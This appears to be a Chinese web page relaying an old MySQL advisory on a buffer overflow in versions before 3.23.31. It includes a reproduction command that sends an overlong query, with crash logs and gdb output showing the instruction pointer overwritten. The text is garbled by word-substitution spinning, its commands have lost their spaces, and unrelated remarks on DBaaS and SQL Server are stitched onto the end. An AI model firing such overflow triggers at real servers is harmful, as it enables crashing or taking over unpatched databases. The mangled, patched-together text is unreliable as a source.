发布MySQL3.23.31之前版本的平安毛病
到2009年,甲骨文的数据库Oracle已经诞生了30周年,而MySQL却连它的一半时间都没有。微软的SQLServer仅仅比MySQL大两年,但是SQLServer的发布是建立在Sybase的基础上。一切小于3.23.31版本的MySQL都存在一个缓冲溢露马脚招致MySQL溃散。使打击者取得mysqld权限,而能够利用一切数据库。打击的条件是必需有一个正当的登录名和口令。上面为最后宣布于MySQL邮件列表的函件择要。
==================================================
毛病是由Jo?oGouveia于1月12日发明的:
步骤:
在第一个终端上启动mysql:
spike:/var/mysql#/sbin/init.d/mysqlstart
在别的一个终端上输出:
jroberto@spike:~>mysql-p-e’selecta.’`perl-e’PRintf("A"x130)’`’.b’
EnterpassWord:
(没有反响?按^C加入)
在第一台终端上会显现:
spike:/var/mysql#/usr/bin/safe_mysqld:line149:15557Segmentationfault
nohup
$ledir/mysqld--basedir=$MY_BASEDIR_VERSION--datadir=$DATADIR--skip-lockin
g"$@">>$err_log2>&1>
Numberofprocessesrunningnow:0
mysqldrestartedonFriJan1207:10:54WET2001
mysqlddaemonended
利用gdb显现了局以下:
(gdb)run
Startingprogram:/usr/sbin/mysqld
/usr/sbin/mysqld:readyforconnections
ProgramreceivedsignalSIGSEGV,Segmentationfault.
0x41414141in??()
(gdb)infoall-registers
eax0x11
ecx0x68104
edx0x8166947135686471
ebx0x414141411094795585
esp0xbf5ff4080xbf5ff408
ebp0x414141410x41414141
esi0x414141411094795585
edi0x00
eip0x414141410x41414141
eflags0x1024666118
cs0x2335
ss0x2b43
ds0x2b43
es0x2b43
fs0x00
gs0x00
个中的eip唆使就是缓冲溢出了。
办理举措就是晋级到3.23.31。以是,列位假如还没有把数据库晋级到最新版本,请从速举动。
客户还是可以使用DBaaS系统所能提供的所有能力。数据库云服务消除了组织对专职人员、本地数据库存储设备的需要。他们不必安装、配置和维护任何软硬件。 语句级快照和事务级快照终于为SQLServer的并发性能带来了突破。个人感觉语句级快照大家应该应用。事务级快照,如果是高并发系统还要慎用。如果一个用户总是被提示修改不成功要求重试时,会杀人的! SQLServer的异构移植功能个人感觉最好了。(如果对比过SQLServer的链接服务器和Oracle的透明网关的朋友会发现SQLServer的sp_addlinkedserver(openquery)异构数据库系列比Oracle真是强太多了。) 记得在最开始使用2k的时候就要用到这个功能,可惜2k没有,现在有了作解决方案的朋友会很高兴吧。 sqlserver的痛苦之处在于有用文档的匮乏,很多只是表明的东西 这就引发了对varchar和char效率讨论的老问题。到底如何分配varchar的数据,是否会出现大规模的碎片? 数据库物理框架没有变动undo和redo都放在数据库得transaction中,个人感觉是个败笔。如果说我们在设计数据库的时候考虑分多个数据库,可能能在一定程度上避免I/O效率问题。 varchar(max)\\\\nvarchar(max)类型的引入大大的提高了编程的效率,可以使用字符串函数对CLOB类型进行操作,这是一个亮点。
页:
[1]